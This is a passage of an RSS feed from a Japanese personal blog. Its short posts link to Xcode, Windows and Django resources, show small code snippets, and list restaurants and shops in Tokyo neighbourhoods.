&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/nyancook/items/a7d642dd6a55e310e420"&gt;【Xcode】ビルドは成功するが、実機にインストールできない問題&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/Ryuya_Sakai/items/16057d47538d56cbaf3a"&gt;エラー：A valid provisioning prof&amp;hellip; の対処法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/64294387/unable-to-install-ios-app-on-device-domain-com-apple-dt-mobiledeviceerrordomai"&gt;Unable to install iOS app on device. Domain: com.apple.dt.MobileDeviceErrorDomain Code: -402653179&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=TDN1Dp_GqnM"&gt;Easy fix! &amp;ldquo;A valid provisioning profile for this executable was not found&amp;rdquo;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.apple.com/forums/thread/128121"&gt;A valid provisioning profile for this executable was not found&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>gistpad-scratch</title><link>https://hdknr.github.io/blogs/posts/2021/04/gistpad-scratch/</link><pubDate>Thu, 22 Apr 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/04/gistpad-scratch/</guid><description>&lt;p&gt;‎‎​&lt;/p&gt;</description></item><item><title>Windows Termnal</title><link>https://hdknr.github.io/blogs/posts/2021/02/windows-termnal/</link><pubDate>Fri, 26 Feb 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/02/windows-termnal/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/ja-jp/windows/terminal/customize-settings/color-schemes"&gt;https://docs.microsoft.com/ja-jp/windows/terminal/customize-settings/color-schemes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/y-tsutsu/items/833020344aa03539856e"&gt;https://qiita.com/y-tsutsu/items/833020344aa03539856e&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django Simple Docker File</title><link>https://hdknr.github.io/blogs/posts/2021/02/django-simple-docker-file/</link><pubDate>Fri, 19 Feb 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/02/django-simple-docker-file/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;% tree . -I &amp;#39;__*|db*&amp;#39;
.
├── Dockerfile
├── poetry.lock
├── pyproject.toml
└── web
├── blogsite
│ ├── asgi.py
│ ├── settings.py
│ ├── urls.py
│ └── wsgi.py
├── manage.py
└── pages
├── admin.py
├── apps.py
├── migrations
├── models.py
├── tests.py
├── urls.py
└── views.py
4 directories, 14 files
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>2020-11-30</title><link>https://hdknr.github.io/blogs/posts/2020/11/2020-11-30/</link><pubDate>Mon, 30 Nov 2020 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2020/11/2020-11-30/</guid><description>&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;logger&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;electron-log&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;logger&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;logger&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;transports&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;file&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getFile&lt;/span&gt;()&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\AppData\Roaming\electron-osc-js\logs\main.log
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Windows 関連</title><link>https://hdknr.github.io/blogs/posts/2020/11/windows-%E9%96%A2%E9%80%A3/</link><pubDate>Sat, 21 Nov 2020 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2020/11/windows-%E9%96%A2%E9%80%A3/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/hymanzhan/setting-up-wsl-2-for-web-development-3202"&gt;Setting up WSL 2 for Web Development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/v2okimochi/items/f53edcf79a4b71f519b1"&gt;https://qiita.com/v2okimochi/items/f53edcf79a4b71f519b1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack"&gt;https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>OSC</title><link>https://hdknr.github.io/blogs/posts/2020/11/osc/</link><pubDate>Tue, 17 Nov 2020 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2020/11/osc/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.music.mcgill.ca/~gary/306/week9/osc.html"&gt;https://www.music.mcgill.ca/~gary/306/week9/osc.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://opensoundcontrol.org/"&gt;http://opensoundcontrol.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/python-osc/"&gt;https://pypi.org/project/python-osc/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techracho.bpsinc.jp/katayama-yuuki/2017_07_13/42884"&gt;https://techracho.bpsinc.jp/katayama-yuuki/2017_07_13/42884&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/colinbdclark/osc.js"&gt;https://github.com/colinbdclark/osc.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ValdemarOrn/SharpOSC"&gt;https://github.com/ValdemarOrn/SharpOSC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>雪国のクリームシチュールー</title><link>https://hdknr.github.io/blogs/posts/2019/01/%E9%9B%AA%E5%9B%BD%E3%81%AE%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%A0%E3%82%B7%E3%83%81%E3%83%A5%E3%83%BC%E3%83%AB%E3%83%BC/</link><pubDate>Wed, 16 Jan 2019 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2019/01/%E9%9B%AA%E5%9B%BD%E3%81%AE%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%A0%E3%82%B7%E3%83%81%E3%83%A5%E3%83%BC%E3%83%AB%E3%83%BC/</guid><description>&lt;p&gt;&lt;a href="http://iwakiya.co.jp/16_13.html"&gt;雪国のクリームシチュールー ＞ 雪国のクリームシチュールー　170ｇ&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://iwakiya.co.jp/goods_image/A13_I1.jpg"&gt;&lt;/p&gt;</description></item><item><title>王子</title><link>https://hdknr.github.io/blogs/posts/2018/11/%E7%8E%8B%E5%AD%90/</link><pubDate>Thu, 29 Nov 2018 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2018/11/%E7%8E%8B%E5%AD%90/</guid><description>&lt;h2 id="パン"&gt;パン&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.loin-montagne.com/"&gt;ロワンモンターニュ&lt;/a&gt; (王子本町)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>千駄木 谷中 根津</title><link>https://hdknr.github.io/blogs/posts/2018/11/%E5%8D%83%E9%A7%84%E6%9C%A8-%E8%B0%B7%E4%B8%AD-%E6%A0%B9%E6%B4%A5/</link><pubDate>Thu, 29 Nov 2018 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2018/11/%E5%8D%83%E9%A7%84%E6%9C%A8-%E8%B0%B7%E4%B8%AD-%E6%A0%B9%E6%B4%A5/</guid><description>&lt;h2 id="お菓子"&gt;お菓子&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/taiyaki_nezu"&gt;根津のたい焼き&lt;/a&gt; (根津)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.yanakaginza.com/shop/sippoya/"&gt;やなかしっぽや&lt;/a&gt; (谷中銀座)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1311/A131105/13104435/"&gt;かみくら&lt;/a&gt; (日暮里, どらやき)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="惣菜"&gt;惣菜&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.yanakaginza.com/shop/sato/"&gt;肉のサトー&lt;/a&gt; (谷中銀座)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.yanakaginza.com/shop/suzuki/"&gt;肉のすずき&lt;/a&gt; (谷中銀座)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="パン"&gt;パン&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://lebage.com/"&gt;Le Bage&lt;/a&gt; (ベーグル, へび道)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>巣鴨 駒込 西ヶ原</title><link>https://hdknr.github.io/blogs/posts/2018/11/%E5%B7%A3%E9%B4%A8-%E9%A7%92%E8%BE%BC-%E8%A5%BF%E3%83%B6%E5%8E%9F/</link><pubDate>Thu, 29 Nov 2018 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2018/11/%E5%B7%A3%E9%B4%A8-%E9%A7%92%E8%BE%BC-%E8%A5%BF%E3%83%B6%E5%8E%9F/</guid><description>&lt;h2 id="蕎麦"&gt;蕎麦&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://d-te.com/morisho/"&gt;もりしょう&lt;/a&gt; (西巣鴨 )&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ikemen3.blog.jp/archives/1071727708.html"&gt;いなり&lt;/a&gt; (駒込)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.shimofuri-ginza.com/hyaqtoh/"&gt;百塔珈琲 Shimofuri&lt;/a&gt; (西ヶ原 しもふり銀座)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>都道府県</title><link>https://hdknr.github.io/blogs/posts/2018/01/%E9%83%BD%E9%81%93%E5%BA%9C%E7%9C%8C/</link><pubDate>Tue, 23 Jan 2018 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2018/01/%E9%83%BD%E9%81%93%E5%BA%9C%E7%9C%8C/</guid><description>&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl https://gist.githubusercontent.com/hdknr/5d4652c00dfd893ca87ba4d709951089/raw/d12a3b2c2108317720c37a51c905be3314558188/prefectures.json | jq &lt;span style="color:#e6db74"&gt;&amp;#34;.[]&amp;#34;&lt;/span&gt; -r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>電源タップ</title><link>https://hdknr.github.io/blogs/posts/2017/11/%E9%9B%BB%E6%BA%90%E3%82%BF%E3%83%83%E3%83%97/</link><pubDate>Sun, 12 Nov 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/11/%E9%9B%BB%E6%BA%90%E3%82%BF%E3%83%83%E3%83%97/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://irorio.jp/kaseisana/20170210/385761/"&gt;コンセントタップを壁に付けるアイデアが使えるとネットで話題に！「これよさそう」の声多数&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.command.jp/3M/ja_JP/command-jp/"&gt;3M コマンド&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=pLCecV2Ecdo"&gt;デスククランプ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ボディケア</title><link>https://hdknr.github.io/blogs/posts/2017/08/%E3%83%9C%E3%83%87%E3%82%A3%E3%82%B1%E3%82%A2/</link><pubDate>Wed, 23 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/%E3%83%9C%E3%83%87%E3%82%A3%E3%82%B1%E3%82%A2/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401"&gt;続ければ柔らかくなれる【体の硬い人のためのストレッチ】&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219007903"&gt;首&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219008003"&gt;腕&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219008103"&gt;前腕&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219008203"&gt;肩甲骨&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219008303"&gt;背中&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219008403"&gt;腰&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219008503"&gt;股関節&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219008603"&gt;お尻&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219008903"&gt;前もも&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633219009003"&gt;ハムストリング&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633319009103"&gt;ふくらはぎ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140256633319009203"&gt;足首&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matome.naver.jp/odai/2140256275016106401/2140290679409730803"&gt;お腹&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>town: 四谷</title><link>https://hdknr.github.io/blogs/posts/2017/08/town-%E5%9B%9B%E8%B0%B7/</link><pubDate>Wed, 16 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/town-%E5%9B%9B%E8%B0%B7/</guid><description>&lt;h2 id="エスニック"&gt;エスニック&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.jasmine-thai.co.jp/about/yotsuya.html"&gt;ジャスミンタイ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="スィーツ"&gt;スィーツ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.sweets-meister.com/?p=3026"&gt;たい焼き わかば&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>town: 渋谷三丁目 渋谷東</title><link>https://hdknr.github.io/blogs/posts/2017/08/town-%E6%B8%8B%E8%B0%B7%E4%B8%89%E4%B8%81%E7%9B%AE-%E6%B8%8B%E8%B0%B7%E6%9D%B1/</link><pubDate>Wed, 16 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/town-%E6%B8%8B%E8%B0%B7%E4%B8%89%E4%B8%81%E7%9B%AE-%E6%B8%8B%E8%B0%B7%E6%9D%B1/</guid><description>&lt;h2 id="とんかつ"&gt;とんかつ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.bodaijyu.co.jp/restaurant/shibuya/"&gt;かつ吉渋谷店&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>town: 上目黒 池尻大橋</title><link>https://hdknr.github.io/blogs/posts/2017/08/town-%E4%B8%8A%E7%9B%AE%E9%BB%92-%E6%B1%A0%E5%B0%BB%E5%A4%A7%E6%A9%8B/</link><pubDate>Wed, 16 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/town-%E4%B8%8A%E7%9B%AE%E9%BB%92-%E6%B1%A0%E5%B0%BB%E5%A4%A7%E6%A9%8B/</guid><description>&lt;h2 id="中華"&gt;中華&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1317/A131701/13025408/"&gt;天竺屋台&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ラーメン"&gt;ラーメン&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1317/A131705/13007279/"&gt;鶏舎 （チイシャ） &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>town: 神山町 富ヶ谷 宇田川町</title><link>https://hdknr.github.io/blogs/posts/2017/08/town-%E7%A5%9E%E5%B1%B1%E7%94%BA-%E5%AF%8C%E3%83%B6%E8%B0%B7-%E5%AE%87%E7%94%B0%E5%B7%9D%E7%94%BA/</link><pubDate>Wed, 16 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/town-%E7%A5%9E%E5%B1%B1%E7%94%BA-%E5%AF%8C%E3%83%B6%E8%B0%B7-%E5%AE%87%E7%94%B0%E5%B7%9D%E7%94%BA/</guid><description>&lt;h2 id="とんかつ"&gt;とんかつ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1303/A130301/13161530/"&gt;瑞兆 &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>town: 千駄ヶ谷 神宮前</title><link>https://hdknr.github.io/blogs/posts/2017/08/town-%E5%8D%83%E9%A7%84%E3%83%B6%E8%B0%B7-%E7%A5%9E%E5%AE%AE%E5%89%8D/</link><pubDate>Wed, 16 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/town-%E5%8D%83%E9%A7%84%E3%83%B6%E8%B0%B7-%E7%A5%9E%E5%AE%AE%E5%89%8D/</guid><description>&lt;h2 id="中華"&gt;中華&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://shikin-hanten.com/"&gt;紫金飯店&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1306/A130601/13001989/"&gt;新亜飯店 千駄ケ谷店 （シンアハンテン 新亞飯店） &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ryunoko.tokyo/"&gt;龍の子&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="イタリアン"&gt;イタリアン&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.facebook.com/TrattoriaMangiaPesce/"&gt;マンジャペッシェMangia Pesce&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.famiglia0911.com/"&gt;ファミリア&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emilia-tokyo.simdif.com/"&gt;エミリア&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://retty.me/area/PRE13/ARE23/SUB2301/100000056920/"&gt;ビノエパスタ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="カレー"&gt;カレー&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://masalahut.net/harajuku.html"&gt;マサラハット原宿&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.facebook.com/%E3%83%98%E3%83%B3%E3%83%89%E3%83%AA%E3%82%AF%E3%82%B9-curry-bar-hendrix-443315155778986/"&gt;ヘンドリックス&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="エスニック"&gt;エスニック&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1306/A130601/13174201/"&gt;Pho321&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="カフェ"&gt;カフェ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://beagoodneighbor.net/sendagaya"&gt;Be a Good Neighbor&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>town: 表参道 穏田</title><link>https://hdknr.github.io/blogs/posts/2017/08/town-%E8%A1%A8%E5%8F%82%E9%81%93-%E7%A9%8F%E7%94%B0/</link><pubDate>Wed, 16 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/town-%E8%A1%A8%E5%8F%82%E9%81%93-%E7%A9%8F%E7%94%B0/</guid><description>&lt;h2 id="定食"&gt;定食&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1306/A130601/13001284/"&gt;原宿餃子楼&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="スィーツ"&gt;スィーツ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.omote-sando.info/gourmet/29458"&gt;瑞穂&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>town: 本郷 春日 水道橋 西方</title><link>https://hdknr.github.io/blogs/posts/2017/08/town-%E6%9C%AC%E9%83%B7-%E6%98%A5%E6%97%A5-%E6%B0%B4%E9%81%93%E6%A9%8B-%E8%A5%BF%E6%96%B9/</link><pubDate>Wed, 09 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/town-%E6%9C%AC%E9%83%B7-%E6%98%A5%E6%97%A5-%E6%B0%B4%E9%81%93%E6%A9%8B-%E8%A5%BF%E6%96%B9/</guid><description>&lt;h2 id="食堂"&gt;食堂&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1310/A131004/13018608/"&gt;もり川&lt;/a&gt; (赤門)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="中華"&gt;中華&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1310/A131004/13104189/"&gt;川国志&lt;/a&gt; (西方交差点)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ジュース"&gt;ジュース&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.facebook.com/ShiboriyaKichieMon/"&gt;搾り屋　吉ゑ門　shiboriya kichiemon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="カレー"&gt;カレー&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://goo.gl/maps/65rf9jXbNVq"&gt;湯島&lt;/a&gt;: &lt;a href="https://www.syokuraku-web.com/bar-restaurant/6820/2/"&gt;ホンカトリー　CURRY ＆ SPICE&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="蕎麦"&gt;蕎麦&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tabelog.com/tokyo/A1310/A131004/13227093/"&gt;永坂庵 本郷三丁目店 &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="パン"&gt;パン&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://street.jp/bb/"&gt;ベーグルビーバー&lt;/a&gt; (本郷三丁目)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mannebiches.com/"&gt;アトリエ・ド・マヌビッシュ&lt;/a&gt; (西方 菊坂下)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Running</title><link>https://hdknr.github.io/blogs/posts/2017/08/running/</link><pubDate>Mon, 07 Aug 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/08/running/</guid><description>&lt;h1 id="ウェア"&gt;ウェア&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://jp.puma.com/jp/ja/%E3%83%A1%E3%83%B3%E3%82%BA/%E3%82%B9%E3%83%9D%E3%83%BC%E3%83%84/%E3%83%A9%E3%83%B3%E3%83%8B%E3%83%B3%E3%82%B0"&gt;Puma&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="ケア"&gt;ケア&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.kao.co.jp/mensbiore/lineup/bodysheet/"&gt;メンズビオレボディシート&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Apple Watch</title><link>https://hdknr.github.io/blogs/posts/2017/06/apple-watch/</link><pubDate>Thu, 15 Jun 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/06/apple-watch/</guid><description>&lt;p&gt;&lt;a href="https://support.apple.com/ja-jp/HT206995"&gt;https://support.apple.com/ja-jp/HT206995&lt;/a&gt;&lt;/p&gt;</description></item><item><title>久我山</title><link>https://hdknr.github.io/blogs/posts/2017/04/%E4%B9%85%E6%88%91%E5%B1%B1/</link><pubDate>Sat, 22 Apr 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/04/%E4%B9%85%E6%88%91%E5%B1%B1/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ja.wikipedia.org/wiki/%E4%B9%85%E6%88%91%E5%B1%B1"&gt;久我山&lt;/a&gt;&lt;/li&gt;
